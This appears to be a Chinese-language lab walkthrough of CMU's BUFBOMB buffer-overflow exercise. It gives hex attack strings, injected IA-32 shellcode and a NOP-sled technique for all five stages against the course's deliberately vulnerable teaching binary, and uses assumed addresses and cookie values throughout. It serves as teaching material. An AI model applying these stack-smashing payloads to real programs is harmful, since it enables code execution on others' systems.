当前位置: 首页 > news >正文

手把手教你用GDB和objdump破解CMU的BUFBOMB实验(含5个阶段完整攻击Payload)

逆向工程实战:从零攻破CMU缓冲区溢出实验的五重关卡

在计算机安全领域,缓冲区溢出攻击是最经典也最具教育意义的漏洞类型之一。CMU的BUFBOMB实验作为《计算机组成原理》课程的经典实践项目,通过五个渐进式挑战(Smoke到Nitro)带领学习者深入理解IA-32架构下的栈帧结构和函数调用机制。本文将使用GDB和objdump这对黄金组合,配合hex2raw工具,带你一步步破解全部五个关卡。

1. 实验环境搭建与工具准备

首先需要配置适合的实验环境。推荐使用Ubuntu 20.04 LTS作为基础系统,确保已安装以下工具包:

sudo apt update sudo apt install -y gcc-multilib gdb build-essential

关键工具链说明:

  • GDB:带增强功能的调试器,建议安装PEDA插件增强逆向分析能力
  • objdump:反汇编工具,用于静态分析可执行文件
  • hex2raw:实验配套工具,将十六进制格式的攻击字符串转换为原始二进制数据

实验文件结构应如下组织:

buflab/ ├── bufbomb # 目标可执行程序 ├── makecookie # 生成用户cookie的工具 └── hex2raw # 攻击字符串转换工具

验证环境是否正常工作:

chmod +x bufbomb makecookie hex2raw ./makecookie your_student_id

2. 逆向分析基础:理解目标程序结构

使用objdump生成反汇编代码是分析的第一步:

objdump -d bufbomb > bufbomb.asm

打开生成的汇编文件,重点关注几个关键函数:

  • getbuf:存在缓冲区漏洞的函数
  • test:调用getbuf的测试函数
  • smoke/fizz/bang/boom:各阶段的目标函数

典型的函数调用栈帧结构如下:

高地址 +-----------------+ | 返回地址 | +-----------------+ | 保存的ebp | <-- ebp +-----------------+ | 局部变量 | | ... | | 缓冲区空间 | +-----------------+ 低地址

通过GDB可以动态观察栈状态:

gdb bufbomb (gdb) break getbuf (gdb) run -u your_student_id (gdb) x/32xw $esp # 查看栈内存

3. 阶段一:Smoke攻击实战

Smoke是最基础的缓冲区溢出攻击,目标是通过溢出改变返回地址,使程序跳转到smoke函数而非正常返回。

3.1 确定关键地址

首先在反汇编代码中找到smoke函数的地址:

grep -A 10 "<smoke>:" bufbomb.asm

假设输出显示smoke地址为0x08048c18

3.2 分析缓冲区结构

在getbuf函数中查找缓冲区大小:

080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 50 push %eax 80491fe: e8 8d fa ff ff call 8048c90 <Gets> 8049203: b8 01 00 00 00 mov $0x1,%eax 8049208: c9 leave 8049209: c3 ret

这里lea -0x28(%ebp)表明缓冲区起始于ebp-0x28,大小为40字节(0x28)。

3.3 构造攻击字符串

攻击字符串结构:

[40字节填充] + [4字节保存的ebp] + [4字节smoke地址]

创建attack1.txt:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08

转换为二进制并执行:

cat attack1.txt | ./hex2raw | ./bufbomb -u your_student_id

4. 阶段二:Fizz攻击进阶

Fizz阶段需要在跳转的同时传递正确的cookie参数。

4.1 定位fizz函数

grep -A 15 "<fizz>:" bufbomb.asm

假设fizz地址为0x08048c42,其参数位于ebp+8

4.2 获取个人cookie

./makecookie your_student_id

假设输出为0x1d228b91

4.3 构造带参数的攻击字符串

攻击字符串结构:

[40字节填充] + [4字节保存的ebp] + [4字节fizz地址] + [4字节返回地址] + [4字节cookie]

创建attack2.txt:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 91 8b 22 1d

5. 阶段三:Bang与代码注入

Bang阶段需要注入可执行代码来修改全局变量。

5.1 确定全局变量地址

使用GDB查找global_value的地址:

(gdb) p &global_value $1 = (<data variable, no debug info> *) 0x804d100

5.2 编写注入代码

创建bang_qbw.s汇编文件:

movl $0x1d228b91, 0x804d100 # 设置global_value push $0x8048c9d # 压入bang地址 ret # 跳转到bang

编译并提取机器码:

gcc -m32 -c bang_qbw.s objdump -d bang_qbw.o

5.3 确定代码注入位置

在getbuf中设置断点,查看缓冲区地址:

(gdb) break *0x80491fa (gdb) run -u your_student_id (gdb) p/x $ebp-0x28 $2 = 0x55683dc8

5.4 构造最终攻击字符串

[注入代码] + [填充至40字节] + [4字节保存的ebp] + [4字节代码起始地址]

6. 阶段四:Boom与栈帧修复

Boom阶段需要让getbuf返回cookie值并正确返回到test。

6.1 确定test的返回点

在反汇编中查找test调用getbuf后的地址:

8048db9: e8 36 fc ff ff call 80491f4 <getbuf> 8048dbe: 89 c3 mov %eax,%ebx # 目标返回点

6.2 编写注入代码

注入代码需要:

  1. 将cookie存入eax
  2. 恢复正确的ebp值
  3. 返回到test中的指定地址

汇编代码:

mov $0x1d228b91, %eax # 设置返回值 push $0x8048dbe # 压入返回地址 ret

6.3 动态获取栈信息

在getbuf返回前查看ebp值:

(gdb) break *0x8049208 (gdb) run -u your_student_id (gdb) p/x $ebp $3 = 0x55683698

7. 阶段五:Nitro与地址随机化对抗

Nitro阶段面临栈地址随机化的挑战,需要使用NOP雪橇技术。

7.1 分析getbufn的栈结构

getbufn使用大缓冲区且每次栈位置不同:

sub $0x208,%esp # 520字节缓冲区 lea -0x200(%ebp),%eax # 缓冲区起始地址

7.2 确定NOP雪橇范围

通过多次运行获取ebp的可能范围:

for i in {1..10}; do gdb -batch -ex "break getbufn" -ex "run -n -u your_student_id" -ex "p/x \$ebp" bufbomb done

假设观察到ebp在0x556834000x55683600之间变化。

7.3 构造自适应攻击字符串

攻击字符串结构:

[NOP雪橇] + [注入代码] + [重复的返回地址]

其中返回地址应指向雪橇中间的某个位置,如0x55683500

注入代码需要:

  1. 恢复正确的栈帧关系
  2. 设置cookie返回值
  3. 正确返回到testn

汇编代码:

lea 0x28(%esp), %ebp # 动态计算原始ebp mov $0x1d228b91, %eax push $0x8048e3a ret

8. 调试技巧与常见问题解决

8.1 GDB实用命令速查

命令描述
x/10i $eip查看当前指令附近的反汇编
x/32xw $esp以16进制查看栈内容
info frame查看当前栈帧信息
watch *0x804d100监视全局变量变化

8.2 常见错误排查

  1. 段错误(SEGFAULT)

    • 检查返回地址是否有效
    • 确认注入代码没有错误指令
  2. 攻击无效

    • 使用xxd检查生成的二进制文件
    • 在GDB中单步跟踪执行流程
  3. hex2raw问题

    • 确保文本文件使用Unix换行符(LF)
    • 检查是否有空格以外的非法字符

8.3 自动化测试脚本

创建测试脚本run_attack.sh:

#!/bin/bash for i in {1..5}; do echo "Testing attack$i.txt..." cat attack$i.txt | ./hex2raw | ./bufbomb -u your_student_id echo "" done

9. 扩展思考与安全启示

通过这五个阶段的实践,我们不仅掌握了缓冲区溢出攻击的技术细节,更应该理解其背后的安全启示:

  1. 边界检查的重要性:所有内存操作都应进行严格的边界检查
  2. 非执行位(NX)的保护作用:现代系统使用NX位防止栈上代码执行
  3. 地址随机化(ASLR)的缓解效果:Nitro阶段展示了ASLR如何增加攻击难度
  4. 编译期防护措施:如栈保护器(stack canary)的原理和绕过方法

这些实验虽然是在教学环境中设计的,但真实世界中的漏洞利用原理与此相通。理解攻击手段是构建有效防御的基础,这也是CMU设计这些实验的深层目的。

http://www.jsqmd.com/news/991657/

相关文章:

  • 手把手教你用Hadoop MapReduce搞定手机流量统计(附完整Java代码)
  • 成人学历论文创作:多款 AI 工具排版、查重、内容生成实测
  • 告别手动转换!在C++/Qt项目中优雅封装Snap7,实现PLC数据读写通用工具类
  • 如何快速上手OmenSuperHub:惠普OMEN游戏本终极优化完整指南
  • DP1.4协议栈开发笔记:手写一个简化的Link Training状态机(附C伪代码)
  • 别再手动发通知了!用Python脚本+企业微信机器人,5分钟搞定日报/告警自动推送
  • 2026年6月采购HRB500四级钢套筒 选用宏瑞新哥 高强度国标产品 - 热点速览
  • 不止是画画:用百度文心ERNIE-ViLG API为你的产品/内容创作赋能(含实战案例)
  • 合同管理系统和OA审批系统到底有什么区别?企业什么时候该上专业合同系统?
  • 江苏大学考研辅导班精选推荐:实力品牌解析与选班指南 - 推荐优选师
  • Moonshot AI启动20亿美元融资,估值冲刺300亿美元
  • 2026主流免费开源 CMS 网站管理系统盘点
  • 计算机毕业设计之长途汽车信息管理系统
  • 第36章:Generation 源码:从 generate 到下一个 Token
  • 从C语言到ST语言:在Codesys里移植循环队列,我踩过的那些坑和最佳实践
  • 高效突破动态字体加密:大众点评数据采集实战指南
  • 2026优选黄埔区大沙疏通下水道服务 居顺联疏通服务专利技术核验全面解析 - 居顺联家政疏通
  • 从零到一:用Python代码拆解吴恩达《神经网络基础》中的逻辑回归与向量化
  • 用Python模拟湖羊养殖场:从数学建模到生产计划优化(附完整代码)
  • 图形变换 - 错切
  • 用STM32F103和HC-12模块,DIY一个无线快门线:告别蓝牙遥控器距离限制
  • Arduino 点亮 OLED 0.96 屏:从接线到“Hello World”的完整指南
  • TranslucentTB终极指南:让你的Windows任务栏透明又高级!✨
  • 2026 年土工膜厂家哪家专业:恒全土工材料专业领先 - 思溯深度专栏
  • 思源宋体CN:7种字重开源中文字体终极指南
  • 毕业设计 基于51单片机的智能电子鼻系统设计与实现
  • Sunshine游戏串流解决方案:模块化架构与渐进式优化实战指南
  • SQL转换工具终极指南:5分钟学会数据库迁移技巧
  • 2026年探秘:手机阅读器源头厂家究竟藏着哪些不为人知的秘密?
  • 2026年上海工业设备回收/废铁废铝/厂房整线回收推荐榜单:专业评估、高价结算与绿色环保资质之选 - 品牌发掘